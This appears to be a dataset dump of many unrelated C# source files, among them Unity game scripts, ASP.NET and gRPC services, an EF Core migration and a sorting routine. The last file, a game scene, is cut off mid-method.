text
stringlengths
13
6.01M
namespace RectangleArea { using System; public class StartUp { public static void Main() { double a = double.Parse(Console.ReadLine()); double b = double.Parse(Console.ReadLine()); double c = a * b; Console.WriteLine($"{c:f2}"); } } }
using System.Collections; using System.Collections.Generic; using UnityEngine; public class CharacterPhysics : MonoBehaviour { public Character character { get; protected set; } public new Rigidbody rigidbody { get; protected set; } public float baseMass { get; protected set; } = 1.0f; public float baseDrag { get; protected set; } = 1.0f; public float baseAngularDrag { get; protected set; } = 1.0f; public bool useGravity { get; protected set; } = true; public bool isKinematic { get; protected set; } = false; public RigidbodyConstraints constraints { get; protected set; } private bool defaultsSet = false; private void Awake () { character = GetComponent<Character> (); rigidbody = GetComponent<Rigidbody> (); SetDefaults (); } private void SetDefaults () { if (defaultsSet) return; defaultsSet = true; baseMass = rigidbody.mass; baseDrag = rigidbody.drag; baseAngularDrag = rigidbody.angularDrag; useGravity = rigidbody.useGravity; isKinematic = rigidbody.isKinematic; constraints = rigidbody.constraints; } public void SetMass (float value) { rigidbody.mass = value; } public void ResetMass () { SetDefaults (); rigidbody.mass = baseMass; } public void SetGravity (bool value) { rigidbody.useGravity = value; } public void ResetGravity () { SetDefaults (); rigidbody.useGravity = useGravity; } public void SetKinematic (bool value) { rigidbody.isKinematic = value; } public void ResetKinematic () { SetDefaults (); rigidbody.isKinematic = isKinematic; } public void SetConstraints(RigidbodyConstraints constraints) { rigidbody.constraints = constraints; } public void ResetConstraints () { rigidbody.constraints = constraints; } public void ResetAll () { rigidbody.mass = baseMass; rigidbody.drag = baseDrag; rigidbody.angularDrag = baseAngularDrag; rigidbody.useGravity = useGravity; rigidbody.isKinematic = isKinematic; rigidbody.constraints = constraints; } }
///////////////////////////////////////////////////////////////////////////////// // // vp_3DUtility.cs // © VisionPunk. All Rights Reserved. // https://twitter.com/VisionPunk // http://www.visionpunk.com // // description: miscellaneous 3D utility functions // ///////////////////////////////////////////////////////////////////////////////// using UnityEngine; using System.Diagnostics; using System.Reflection; using System; using System.Collections.Generic; using System.Linq; public static class vp_3DUtility { /// <summary> /// Zeroes the y property of a Vector3, for some cases where you want to /// make 2D physics calculations. /// </summary> public static Vector3 HorizontalVector(Vector3 value) { value.y = 0.0f; return value; } /// <summary> /// Determines whether the object of a certain renderer is visible to a /// certain camera and retrieves its screen position. /// </summary> public static bool OnScreen(Camera camera, Renderer renderer, Vector3 worldPosition, out Vector3 screenPosition) { screenPosition = Vector2.zero; if ((camera == null) || (renderer == null) || !renderer.isVisible) return false; // calculate the screen space position of the remote object screenPosition = camera.WorldToScreenPoint(worldPosition); // return false if screen position is behind camera if (screenPosition.z < 0.0f) return false; return true; } /// <summary> /// Performs a linecast from a world position to a target transform, /// returning true if the first hit collider is owned by that /// transform. /// </summary> public static bool InLineOfSight(Vector3 from, Transform target, Vector3 targetOffset, int layerMask) { RaycastHit hitInfo; Physics.Linecast(from, target.position + targetOffset, out hitInfo, layerMask); if (hitInfo.collider == null || hitInfo.collider.transform.root == target) return true; return false; } /// <summary> /// Determines whether the distance between two points is within /// a determined range and retrieves the distance. /// </summary> public static bool WithinRange(Vector3 from, Vector3 to, float range, out float distance) { distance = Vector3.Distance(from, to); if (distance > range) return false; return true; } /// <summary> /// returns the distance between a ray and a point /// </summary> public static float DistanceToRay(Ray ray, Vector3 point) { return Vector3.Cross(ray.direction, point - ray.origin).magnitude; } /// <summary> /// returns the angle between a look vector and a target position. /// can be used for various aiming logic /// </summary> public static float LookAtAngle(Vector3 sourcePosition, Vector3 sourceDirection, Vector3 targetPosition) { return Mathf.Acos(Vector3.Dot((sourcePosition - targetPosition).normalized, -sourceDirection)) * Mathf.Rad2Deg; } }
using BAL; using Models; using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace UILayer { public partial class ShowEmplyees : Form { public ShowEmplyees() { InitializeComponent(); } private void Navbtn_Click(object sender, EventArgs e) { NavigationForm ng = new NavigationForm(); ng.Show(); Hide(); } private void ShowEmplyees_Load(object sender, EventArgs e) { EmployeeManager em = new EmployeeManager(); grdDataShow.DataSource = em.ShowEmployeeData(); } } }
using System; using System.Collections.Generic; using EF_Core.Interfaces; using EFCore.Domains; using EFCore.Repositories; using Microsoft.AspNetCore.Mvc; namespace EFCore.Controllers { [Route("api/[controller]")] [ApiController] public class PedidoController : ControllerBase { private readonly IPedido _pedidoRepository; public PedidoController() { _pedidoRepository = new PedidoRepository(); } [HttpPost] public IActionResult Post(List<PedidoItem> pedidosItens) { try { //Adiciona um novo pedido com os itens do pedido Pedido pedido = _pedidoRepository.Adicionar(pedidosItens); //Caso ok retorna o pedido return Ok(pedido); } catch (Exception ex) { return BadRequest(ex.Message); } } [HttpGet] public IActionResult Get() { try { var pedidos = _pedidoRepository.Listar(); if (pedidos.Count == 0) return NoContent(); return Ok(pedidos); } catch (Exception ex) { return BadRequest(ex.Message); } } } }
using System; using System.Collections.Generic; using System.Text; using Xamarin.Forms; using Xamarin.Forms.Platform.Android; namespace Campeonato_App { public class CustomEntry : Entry { } }
using LocusNew.Core.ViewModels; using System.Web.Mvc; using System.Web.SessionState; using LocusNew.Core; namespace LocusNew.Controllers { [SessionState(SessionStateBehavior.Disabled)] public class AboutUsController : Controller { private readonly IUnitOfWork _unitOfWork; public AboutUsController(IUnitOfWork unitOfWork) { _unitOfWork = unitOfWork; } public ActionResult Index() { var model = new AboutUsViewModel() { Agents = _unitOfWork.Users.GetUsersByActivity(true), Global = _unitOfWork.GlobalSettings.GetGlobalSettings() }; return View(model); } } }
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using Docller.Core.Common; using Docller.Core.Models; namespace Docller.Core.Common { public interface ISecurityContext { IEnumerable<Project> AvailableProjects { get; set; } bool IsCustomerAdmin { get; set; } bool CanCreateProject { get; } bool CanAccessCurrentProject { get; } bool CanAccessCurrentFolder { get; } bool CanAdminProject { get; } bool CanAdminFolder { get; } bool CanCreateFolder { get; } bool CanCreateTransmittal { get; } bool HasReadWriteAccess { get; } bool HasReadAccess { get; } bool CanViewAllFiles { get; } void Refresh(long customerId, string userlogin, long currentProjectId, User user); void Refresh(long customerId, string userlogin); void Refresh(Folder folder); } }
using Google.Protobuf.WellKnownTypes; using Grpc.Core; using GrpcServer.Protos; using GrpcServer.Repository.DBModels; using Microsoft.AspNetCore.Authorization; using Microsoft.EntityFrameworkCore; using Microsoft.Extensions.Configuration; using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; namespace GrpcServer.Services { public class ProductsService:products.productsBase { private DBContext db; public ProductsService(DBContext db) { this.db = db; } public override async Task<productsRes> listAllProducts(Google.Protobuf.WellKnownTypes.Empty request, ServerCallContext context) { productsRes pRmodel = new productsRes(); var query = db.Products.Where(x => x.Stock > 0).AsAsyncEnumerable(); await foreach (var item in query) { pRmodel.ProductList.Add(new product { Id = item.Id, ProductName = item.Pname, ProductPrice = item.Price.ToString(), Stock = item.Stock}); } return await Task.FromResult(pRmodel); } public override async Task<buyResponseModel> buyProduct(buyRequestModel request, ServerCallContext context) { var customerDB = db.Customers.Where(x => x.Username == request.CustomerUsername && x.MobileNr == request.MobileNumber).SingleOrDefault(); buyResponseModel buyResult = new buyResponseModel(); try { if (request.ProductID == 0) return await Task.FromResult(new buyResponseModel { Message = "Ju lutem shenoni ID e produktit te cilit doni ta blini. Shfaqni listen e produkteve per te gjetur ID e tyre!" }); Sales newSale = new Sales(); newSale.ProductId = request.ProductID; newSale.SaleDate = DateTime.UtcNow; newSale.CustomerId = customerDB==null ? 1244 : customerDB.Id; //1244 osht customer Guest await db.Sales.AddAsync(newSale); await db.SaveChangesAsync(); return await Task.FromResult(new buyResponseModel { Message = "Blerja eshte kryer me sukses!" }); } catch { } return await Task.FromResult(new buyResponseModel { Message = "Ka nodhur nje gabim!" }); } } }
using System; using System.Collections.Generic; using System.Diagnostics; using System.Linq; using System.Text; using System.Threading.Tasks; namespace Algorithom { /// <summary> /// Big-O (n^2) /// </summary> public class InsertionSort { public static List<int> DoAlgorithm(List<int> list) { List<int> result = default; if (list == default || list.Count == 0) { return result; } // context: 玩撲克牌的時候的排序法 result = list; // selection sort pseudo code // for i from 0 to n-1 // for j form 1 to n-1 // call 0'th through i-1'th elements the "soreted side" // remove i'th element // insert it into sorted side in order // [41, 33, 17, 80, 61, 5, 55] for (int i = 0; i < result.Count; i++) { // key is the item to be inserted int key = result[i]; int j = i - 1; // 迴圈跟著i越變越大 for (; j>=0 && result[j] > key; j--) { // shift element to right side // it means, make a place for "key" // i的位置放result[j] 因為要留位置給key result[j + 1] = result[j]; } result[j + 1] = key; } return result; } } }
using System.Collections.Generic; using System.Linq; using Profiling2.Domain.Prf.Persons; namespace Profiling2.Web.Mvc.Areas.Profiling.Controllers.ViewModels { public class PersonDataTableView { public int Id { get; set; } public string FirstName { get; set; } public string LastName { get; set; } public string Aliases { get; set; } //public string DateOfBirth { get; set; } //public string PlaceOfBirth { get; set; } public string MilitaryIDNumber { get; set; } public PersonDataTableView() { } public PersonDataTableView(Person p, IEnumerable<PersonAlias> aliases) { this.Id = p.Id; this.FirstName = p.FirstName; this.LastName = p.LastName; this.Aliases = string.Join("; ", (from alias in aliases select alias.Name).ToArray<string>()); //this.DateOfBirth = p.DateOfBirth; //this.PlaceOfBirth = p.PlaceOfBirth; this.MilitaryIDNumber = p.MilitaryIDNumber; } public PersonDataTableView(SearchForPersonDTO p) { this.Id = p.PersonID; this.FirstName = p.FirstName; this.LastName = p.LastName; this.Aliases = p.Aliases; this.MilitaryIDNumber = p.MilitaryIDNumber; } } }
using SharpArch.Domain.DomainModel; namespace Profiling2.Domain.Prf.Organizations { public class OrganizationPhoto : Entity { public virtual Organization Organization { get; set; } public virtual Photo Photo { get; set; } public virtual bool Archive { get; set; } public virtual string Notes { get; set; } } }
/* * Classe contenente diversi metodi statici utili per la programmazione * */ public class Utily { /* * Trasforma un booleano in un intero: se è true ritorna 1 se è false ritorna 0 * */ public static int BooleanToInt(bool boolean) { if (boolean) { return 1; } else { return -1; } } /* * Trasforma un float in un booleano: se è superiore a 0 ritorna true, se è inferiore a 0 ritorna false * */ public static bool FloatToBoolean(float one) { if (one > 0) { return true; } else { return false; } } /* * Trasforma un puntatore ad un oggetto in un booleano, se esso è nullo ritorna false, altrimenti true * */ public static bool ObjectToBoolean(System.Object obj) { if (obj != null) { return true; } else { return false; } } }
using Microsoft.EntityFrameworkCore.Migrations; namespace Voluntariat.Data.Migrations { public partial class Drop_Foreign_Keys_And_Indexes : Migration { protected override void Up(MigrationBuilder migrationBuilder) { migrationBuilder.DropForeignKey( name: "FK_Doctors_Ongs_OngID", table: "Doctors"); migrationBuilder.DropForeignKey( name: "FK_Volunteers_Ongs_OngID", table: "Volunteers"); migrationBuilder.DropIndex( name: "IX_Volunteers_OngID", table: "Volunteers"); migrationBuilder.DropIndex( name: "IX_Doctors_OngID", table: "Doctors"); } protected override void Down(MigrationBuilder migrationBuilder) { migrationBuilder.CreateIndex( name: "IX_Volunteers_OngID", table: "Volunteers", column: "OngID"); migrationBuilder.CreateIndex( name: "IX_Doctors_OngID", table: "Doctors", column: "OngID"); migrationBuilder.AddForeignKey( name: "FK_Doctors_Ongs_OngID", table: "Doctors", column: "OngID", principalTable: "Ongs", principalColumn: "ID", onDelete: ReferentialAction.Cascade); migrationBuilder.AddForeignKey( name: "FK_Volunteers_Ongs_OngID", table: "Volunteers", column: "OngID", principalTable: "Ongs", principalColumn: "ID", onDelete: ReferentialAction.Cascade); } } }
using UnityEngine; using System.Collections; /// <summary> /// FrogAI /// /// Jumps to the player one hop at a time. /// </summary> public class FrogAI : MonoBehaviour { public string targetName = "Player"; //How often we hop. public float hopPeriod = 1.5f; //How long it takes for one hop. public float hopTime = 1.0f; //How long between looking where the player is and hopping. public float hopLatency = 0.1f; //Range for one hop. public float range = 20.0f; public float stunTime = 0.5f; public GameObject particlePrefab; private Transform _target; public Animator animator; //Components private BoxCollider2D _boxCollider; private Explode _explodeScript; //Hop state info private float _elapsedSinceHop = 0.0f; private bool _hopping; private Vector3 hopTarget = new Vector2(); private Vector3 positionBeforeHop = new Vector2(); void Start () { _target = GameObject.Find (targetName).transform; } void Awake() { _boxCollider = gameObject.GetComponent<BoxCollider2D> (); _explodeScript = gameObject.GetComponent<Explode> (); } void Update () { //If we started before the player. if (_target == null) { _target = GameObject.Find (targetName).transform; } UpdateHopState (); } void UpdateHopState() { _elapsedSinceHop += Time.deltaTime; //Look where the target is and store it early (so it is not perfectly accurate). if (_elapsedSinceHop > hopPeriod - hopLatency) { StoreTargetPosition (); } //Timer finished so start hopping. if (_elapsedSinceHop > hopPeriod) { StartHop (); } //If we are hopping this frame. if (_hopping) { //If the hop is finished if (_elapsedSinceHop > hopTime) { EndHop (); } else { CalculateHopPosition (); } } //Only when we hit the ground do we want to collide. _boxCollider.isTrigger = _hopping; } void CalculateHopPosition() { //Line from beggining to end of hop. Vector3 hopLine = hopTarget - positionBeforeHop; float hopLineMagnitude = hopLine.magnitude; Vector3 hoplineDirection = hopLine.normalized; float percentageHopDone = _elapsedSinceHop / hopTime; //Where on the hopline are we based on how long into the hop we are. Vector3 newPosition = positionBeforeHop + hoplineDirection * hopLineMagnitude * percentageHopDone; //Frog is bigger when it hops higher due to perspective. //Scale is is the parabolic curve -x(x -1) + 1 // . . // . . // . . float scale = -percentageHopDone * (percentageHopDone - 1) + 1; transform.localScale = new Vector3 (scale, scale,transform.localScale.z); //Only move in 2D. newPosition.z = transform.position.z; transform.position = newPosition; } void StoreTargetPosition() { //Line from us to the target. Vector3 joiningLine = transform.position - _target.transform.position; if (joiningLine.magnitude < range) { //If we can get ther in one hop then do it. hopTarget = _target.transform.position; } else if (joiningLine.magnitude < range*3.0f) { //We can get there in less than 3 hops so //Move in the direction of the target at maximum hop distance. hopTarget = (_target.transform.position - transform.position).normalized * range; } else { //Wait. } } void StartHop() { _elapsedSinceHop = 0.0f; positionBeforeHop = transform.position; _hopping = true; Vector3 movementVector = _target.position - transform.position; animator.SetTrigger ("jump" + Utils.MainDirectionString (movementVector)); } void EndHop() { //Pound the ground when we land. _explodeScript.MakeExplosionForce(1.0f); _hopping = false; _elapsedSinceHop = 0.0f; } //Debug void OnDrawGizmos() { Gizmos.DrawLine (transform.position, hopTarget); Gizmos.DrawWireSphere (transform.position, range); } //Slow the player on collide. void OnTriggerEnter2D(Collider2D collider) { if (collider.name == "Player") { collider.gameObject.SendMessage("Slow"); } } //Recieve knockback. public void KnockBack( KnockBackArgs args) { //Hop away hopTarget = transform.position + (transform.position - new Vector3(args.center.x,args.center.y)).normalized * args.magnitude; StartHop (); } }
using EngineLibrary.Game; using EngineLibrary.Graphics; using SoundLibrary; using SharpDX; using GameLibrary.Components; using GameLibrary.Scripts.Utils; using GameLibrary.Scripts.Game; using System.Collections.Generic; using System; using EngineLibrary.Scripts; using EngineLibrary.Utils; using EngineLibrary.Components; using EngineLibrary.Collisions; using System.Drawing; using UILibrary; using UILibrary.Drawing; using UILibrary.Containers; using UILibrary.Backgrounds; using UILibrary.Elements; using SharpDX.Mathematics.Interop; using GameLibrary.Scripts.Bonuses; using System.Windows.Forms; using GameLibrary.Scripts.Arrows; namespace GameLibrary.Scenes { public class GameScene : Scene { private SharpAudioDevice _audioDevice; private UIProgressBar _healthProgressBar; private UIText _arrowStandartText; private UIText _arrowPoisonText; private UIText _wolfCounter; private Game3DObject _player; private int _currentEnemyCount; protected override void InitializeObjects(Loader loader, SharpAudioDevice audioDevice) { _audioDevice = audioDevice; CreatePlayerLoader(loader); CreateLevel(loader); _wolfCounter.Text = _currentEnemyCount.ToString(); } #region LevelGeneration private void CreateLevel(Loader loader) { // загрузка земли string file = @"Resources\Models\ground.fbx"; var ground = loader.LoadGameObjectFromFile(file, new Vector3(0.0f, -0.1f, 0.0f), Vector3.Zero); ground.Tag = "ground"; ground.Collision = new BoxCollision(200.0f, 0.1f); ground.AddComponent(new ColliderComponent()); ground.AddScript(new ColliderScript()); AddGameObject(ground); CreateBorders(loader); Bitmap bitmap = new Bitmap(@"Resources\map.bmp"); Random random = new Random(); _currentEnemyCount = 0; for (int i = 0; i < bitmap.Height; i++) { for (int j = 0; j < bitmap.Width; j++) { float angle = 2 * MathUtil.Pi / random.Next(1, 19); System.Drawing.Color color = bitmap.GetPixel(j, i); if(color.R == 0 && color.G == 0 && color.B == 0) { CreateEnemy(loader, new Vector3(i - 100, 0.25f, j - 100)); } else if(color.R == 255 && color.G == 255 && color.B == 0) { CreateStandartArrowsBonus(loader, new Vector3(i - 100, -0.15f, j - 100)); } else if(color.R == 0 && color.G == 255 && color.B == 255) { CreatePoisonArrowsBonus(loader, new Vector3(i - 100, -0.15f, j - 100)); } else if (color.R == 255 && color.G == 0 && color.B == 255) { CreateHealthBonus(loader, new Vector3(i - 100, -0.15f, j - 100)); } else if (color.R == 0 && color.G != 0 && color.B == 0) { CreateTrees(loader, (color.G / 100) + 1, new Vector3(i - 100, -0.5f, j - 100), new Vector3(angle, 0.0f, 0.0f)); } else if(color.R != 0 && color.G == 0 && color.B == 0) { CreateStones(loader, (color.R / 100) + 1, new Vector3(i - 100, -0.5f, j - 100), new Vector3(angle, 0.0f, 0.0f)); } else if (color.R == 0 && color.G == 0 && color.B != 0) { CreatePlatforms(loader, (color.B / 100) + 1, new Vector3(i - 100, 0.0f, j - 100)); } } } } private void CreateStandartArrowsBonus(Loader loader, Vector3 position) { var file = @"Resources\Models\stump.fbx"; var stump = loader.LoadGameObjectFromFile(file, position, Vector3.Zero); file = @"Resources\Models\standartArrows.fbx"; var bonus = loader.LoadGameObjectFromFile(file, new Vector3(0.0f, 0.2f, 0.0f), Vector3.Zero); bonus.Collision = new BoxCollision(0.4f, 0.8f); bonus.AddComponent(new ColliderComponent()); bonus.AddScript(new ColliderScript()); var voice = new SharpAudioVoice(_audioDevice, @"Resources\Audio\Стрелы.wav"); bonus.AddScript(new StandartArrowBonus(voice, ArrowType.Standart ,10)); stump.AddChild(bonus); AddGameObject(stump); } private void CreatePoisonArrowsBonus(Loader loader, Vector3 position) { var file = @"Resources\Models\stump.fbx"; var stump = loader.LoadGameObjectFromFile(file, position, Vector3.Zero); file = @"Resources\Models\poisonArrows.fbx"; var bonus = loader.LoadGameObjectFromFile(file, new Vector3(0.0f, 0.2f, 0.0f), Vector3.Zero); bonus.Collision = new BoxCollision(0.4f, 0.8f); bonus.AddComponent(new ColliderComponent()); bonus.AddScript(new ColliderScript()); var voice = new SharpAudioVoice(_audioDevice, @"Resources\Audio\Стрелы.wav"); bonus.AddScript(new StandartArrowBonus(voice, ArrowType.Poison, 3)); stump.AddChild(bonus); AddGameObject(stump); } private void CreateHealthBonus(Loader loader, Vector3 position) { var file = @"Resources\Models\stump.fbx"; var stump = loader.LoadGameObjectFromFile(file, position, Vector3.Zero); file = @"Resources\Models\healthPack.fbx"; var bonus = loader.LoadGameObjectFromFile(file, new Vector3(0.0f, 0.2f, 0.0f), Vector3.Zero); bonus.Collision = new BoxCollision(0.4f, 0.8f); bonus.AddComponent(new ColliderComponent()); bonus.AddScript(new ColliderScript()); var voice = new SharpAudioVoice(_audioDevice, @"Resources\Audio\Аптечка.wav"); bonus.AddScript(new HealthBonus(voice, 25)); stump.AddChild(bonus); AddGameObject(stump); } private void CreateBorders(Loader loader) { var file = @"Resources\Models\border.fbx"; var obstacle = loader.LoadGameObjectFromFile(file, new Vector3(-2.0f, -0.2f, 98.0f), Vector3.Zero); obstacle.Tag = "obstacle"; obstacle.Collision = new BoxCollision(200.0f, 20.0f, 8.0f); obstacle.AddComponent(new ColliderComponent()); obstacle.AddScript(new ColliderScript()); AddGameObject(obstacle); obstacle = loader.LoadGameObjectFromFile(file, new Vector3(2.0f, -0.2f, -98.0f), new Vector3(0.0f, 0.0f, MathUtil.Pi)); obstacle.Tag = "obstacle"; obstacle.Collision = new BoxCollision(200.0f, 20.0f, 8.0f); obstacle.AddComponent(new ColliderComponent()); obstacle.AddScript(new ColliderScript()); AddGameObject(obstacle); obstacle = loader.LoadGameObjectFromFile(file, new Vector3(-98.0f, -0.2f, -2.0f), new Vector3(0.0f, 0.0f, MathUtil.PiOverTwo)); obstacle.Tag = "obstacle"; obstacle.Collision = new BoxCollision(8.0f, 20.0f, 200.0f); obstacle.AddComponent(new ColliderComponent()); obstacle.AddScript(new ColliderScript()); AddGameObject(obstacle); obstacle = loader.LoadGameObjectFromFile(file, new Vector3(98.0f, -0.2f, 2.0f), new Vector3(0.0f, 0.0f, MathUtil.PiOverTwo * 3)); obstacle.Tag = "obstacle"; obstacle.Collision = new BoxCollision(8.0f, 20.0f, 200.0f); obstacle.AddComponent(new ColliderComponent()); obstacle.AddScript(new ColliderScript()); AddGameObject(obstacle); } private void CreateTrees(Loader loader, int index, Vector3 position, Vector3 rotation) { var file = @"Resources\Models\tree" + index.ToString() + ".fbx"; var obstacle = loader.LoadGameObjectFromFile(file, position, rotation); obstacle.Tag = "obstacle"; obstacle.Collision = new BoxCollision(1.5f, 8.0f); obstacle.AddComponent(new ColliderComponent()); obstacle.AddScript(new ColliderScript()); AddGameObject(obstacle); } private void CreateStones(Loader loader, int index, Vector3 position, Vector3 rotation) { var file = @"Resources\Models\stone" + index.ToString() + ".fbx"; var obstacle = loader.LoadGameObjectFromFile(file, position, rotation); obstacle.Tag = "obstacle"; obstacle.Collision = new BoxCollision(2.7f, 5.0f); obstacle.AddComponent(new ColliderComponent()); obstacle.AddScript(new ColliderScript()); AddGameObject(obstacle); } private void CreatePlatforms(Loader loader, int index, Vector3 position) { var file = @"Resources\Models\platform" + index.ToString() + ".fbx"; var obstacle = loader.LoadGameObjectFromFile(file, position, Vector3.Zero); obstacle.Tag = "obstacle"; obstacle.Collision = new BoxCollision(2.2f, 0.8f * index); obstacle.AddComponent(new ColliderComponent()); obstacle.AddScript(new ColliderScript()); var platform = new Game3DObject(new Vector3(0.0f, 1.5f * index, 0.0f), Vector3.Zero); platform.Tag = "ground"; platform.Collision = new BoxCollision(1.8f, 0.8f); platform.AddComponent(new ColliderComponent()); platform.AddScript(new ColliderScript()); obstacle.AddChild(platform); AddGameObject(obstacle); } private void CreateEnemy(Loader loader, Vector3 position) { _currentEnemyCount++; var file = @"Resources\Models\wolf.fbx"; var wolf = loader.LoadGameObjectFromFile(file, position, Vector3.Zero); wolf.Tag = "enemy"; wolf.Collision = new BoxCollision(1.5f, 0.7f); wolf.AddComponent(new ColliderComponent()); wolf.AddScript(new ColliderScript()); var voice_1 = new SharpAudioVoice(_audioDevice, @"Resources\Audio\Лай волков.wav"); var voice_2 = new SharpAudioVoice(_audioDevice, @"Resources\Audio\Серия укусов.wav"); wolf.AddComponent(new ReloadComponent(2.5f)); wolf.AddScript(new ReloadScript()); var wolfComponent = new EnemyComponent(3, 8.0f); wolfComponent.OnEnemyDeath += UpdateWolfCount; wolf.AddComponent(wolfComponent); wolf.AddScript(new Enemy(voice_1, voice_2, _player, 20.0f, 10)); file = @"Resources\Models\wolfHead.fbx"; var head = loader.LoadGameObjectFromFile(file, new Vector3(0.0f, 0.23f, -0.48f), Vector3.Zero); wolf.AddChild(head); AddGameObject(wolf); } #endregion #region Player private void CreatePlayerLoader(Loader loader) { // создание игрока _player = new Game3DObject(new Vector3(0.0f, 10.0f, -5.0f), Vector3.Zero); float deltaAngle = Camera.FOVY / Game.RenderForm.ClientSize.Height; _player.Tag = "player"; _player.Collision = new BoxCollision(1.0f, 1.7f); _player.AddComponent(new PhysicsComponent()); _player.AddScript(new PhysicsScript()); _player.AddComponent(new ColliderComponent()); _player.AddScript(new ColliderScript()); var playerComponent = new PlayerComponent(); playerComponent.OnArrowsCountChanged += UpdateArrowsCountUI; playerComponent.OnHealthChanged += (count) => _healthProgressBar.Value = count; playerComponent.AddArrows(ArrowType.Standart, 5); playerComponent.AddArrows(ArrowType.Poison, 2); _player.AddComponent(playerComponent); _player.AddScript(new PlayerMovement(deltaAngle, 4f, 0.5f, 2.0f)); _player.AddChild(Camera); // доабвление игроку лука string file = @"Resources\Models\bow.fbx"; var bow = loader.LoadGameObjectFromFile(file, new Vector3(-0.017f, 0.94f, 0.08f), Vector3.Zero); _player.AddChild(bow); //добавление точки появления стрел игроку var arrowParrent = new Game3DObject(new Vector3(-0.052f, 0.95f, 0.0f), Vector3.Zero); arrowParrent.AddComponent(new VisibleComponent()); arrowParrent.AddScript(new VisibleScript()); // скрипт стрельбы var bowShootScript = new BowShoot(2.0f, 1.0f); //создание копируемых стрел для игрока //обычная стрела file = @"Resources\Models\arrow.fbx"; var arrow = loader.LoadGameObjectFromFile(file, Vector3.Zero, Vector3.Zero); arrow.Collision = new BoxCollision(0.3f, 0.2f, 0.3f); var arrowComponents = new List<Func<ObjectComponent>> { () => new ArrowComponent(), () => new PhysicsComponent(0.05f), () => new ColliderComponent() }; var arrowScripts = new List<Func<Script>>{ () => new Arrow(arrowParrent, 20.0f, 5.0f), () => new PhysicsScript(), () => new ColliderScript() }; var arrowTemplate = new CopyableGameObject(arrow, arrowScripts, arrowComponents); bowShootScript.AddArrowTemplate(ArrowType.Standart, arrowTemplate); //стрела с ядом file = @"Resources\Models\arrowPoison.fbx"; arrow = loader.LoadGameObjectFromFile(file, Vector3.Zero, Vector3.Zero); arrow.Collision = new BoxCollision(0.3f, 0.2f, 0.3f); arrowComponents = new List<Func<ObjectComponent>> { () => new ArrowComponent(), () => new PhysicsComponent(0.05f), () => new ColliderComponent() }; arrowScripts = new List<Func<Script>>{ () => new PoisonArrow(arrowParrent, 20.0f, 5.0f, 5.0f), () => new PhysicsScript(), () => new ColliderScript() }; arrowTemplate = new CopyableGameObject(arrow, arrowScripts, arrowComponents); bowShootScript.AddArrowTemplate(ArrowType.Poison, arrowTemplate); arrowParrent.AddScript(bowShootScript); //добавление стрел к точке появления file = @"Resources\Models\arrow.fbx"; arrow = loader.LoadGameObjectFromFile(file, Vector3.Zero, Vector3.Zero); arrowParrent.AddChild(arrow); file = @"Resources\Models\arrowPoison.fbx"; arrow = loader.LoadGameObjectFromFile(file, Vector3.Zero, Vector3.Zero); arrow.IsHidden = true; arrowParrent.AddChild(arrow); _player.AddChild(arrowParrent); AddGameObject(_player); } protected override Camera CreateCamera() { Camera camera = new Camera(new Vector3(0.0f, 1.0f, 0.0f)); return camera; } #endregion #region UI protected override UIElement InitializeUI(Loader loader, DrawingContext context, int screenWidth, int screenHeight) { Cursor.Hide(); context.NewNinePartsBitmap("Panel", loader.LoadBitmapFromFile(@"Resources\UI\panel.png"), 30, 98, 30, 98); context.NewBitmap("Heart", loader.LoadBitmapFromFile(@"Resources\UI\heart.png")); context.NewBitmap("ArrowStandart", loader.LoadBitmapFromFile(@"Resources\UI\arrowStandart.png")); context.NewBitmap("ArrowPoison", loader.LoadBitmapFromFile(@"Resources\UI\arrowPoison.png")); context.NewBitmap("WolfIcon", loader.LoadBitmapFromFile(@"Resources\UI\wolfIcon.png")); var header1 = new UISequentialContainer(new Vector2(0.0f, 0.0f), new Vector2(screenWidth, 100.0f), false); // здоровье var counter = new UISequentialContainer(Vector2.Zero, new Vector2(300.0f, 100.0f), false) { Background = new NinePartsTextureBackground("Panel"), MainAxis = UISequentialContainer.Alignment.Center, CrossAxis = UISequentialContainer.Alignment.Center }; var image = new UIPanel(Vector2.Zero, new Vector2(80.0f, 80.0f)) { Background = new TextureBackground("Heart") }; context.NewSolidBrush("HealthBarBack", new RawColor4(144.0f / 255.0f, 31.0f / 255.0f, 61.0f / 255.0f, 1.0f)); context.NewSolidBrush("HealthBar", new RawColor4(187.0f / 255.0f, 48.0f / 255.0f, 48.0f / 255.0f, 1.0f)); _healthProgressBar = new UIProgressBar(Vector2.Zero, new Vector2(180.0f, 20.0f), "HealthBar") { Background = new ColorBackground("HealthBarBack"), MaxValue = 100.0f, Value = 50.0f }; counter.Add(image); counter.Add(_healthProgressBar); header1.Add(new UIMarginContainer(counter, 5.0f, 0.0f)); // обычные стрелы counter = new UISequentialContainer(Vector2.Zero, new Vector2(200.0f, 100.0f), false) { Background = new NinePartsTextureBackground("Panel"), MainAxis = UISequentialContainer.Alignment.Center, CrossAxis = UISequentialContainer.Alignment.Center }; image = new UIPanel(Vector2.Zero, new Vector2(80.0f, 80.0f)) { Background = new TextureBackground("ArrowStandart") }; context.NewSolidBrush("Text", new RawColor4(1.0f, 1.0f, 1.0f, 1.0f)); context.NewTextFormat("Text", fontSize: 40.0f, textAlignment: SharpDX.DirectWrite.TextAlignment.Center); _arrowStandartText = new UIText("0", new Vector2(50.0f, 50.0f), "Text", "Text"); counter.Add(image); counter.Add(_arrowStandartText); header1.Add(new UIMarginContainer(counter, 5.0f, 0.0f)); // стрелы яда counter = new UISequentialContainer(Vector2.Zero, new Vector2(200.0f, 100.0f), false) { Background = new NinePartsTextureBackground("Panel"), MainAxis = UISequentialContainer.Alignment.Center, CrossAxis = UISequentialContainer.Alignment.Center }; image = new UIPanel(Vector2.Zero, new Vector2(80.0f, 80.0f)) { Background = new TextureBackground("ArrowPoison") }; _arrowPoisonText = new UIText("0", new Vector2(50.0f, 50.0f), "Text", "Text"); counter.Add(image); counter.Add(_arrowPoisonText); header1.Add(new UIMarginContainer(counter, 5.0f, 0.0f)); var header2 = new UISequentialContainer(new Vector2(5.0f, 110.0f), new Vector2(screenWidth, 100.0f), false); // счет врагов counter = new UISequentialContainer(Vector2.Zero, new Vector2(200.0f, 100.0f), false) { Background = new NinePartsTextureBackground("Panel"), MainAxis = UISequentialContainer.Alignment.Center, CrossAxis = UISequentialContainer.Alignment.Center }; image = new UIPanel(Vector2.Zero, new Vector2(80.0f, 80.0f)) { Background = new TextureBackground("WolfIcon") }; 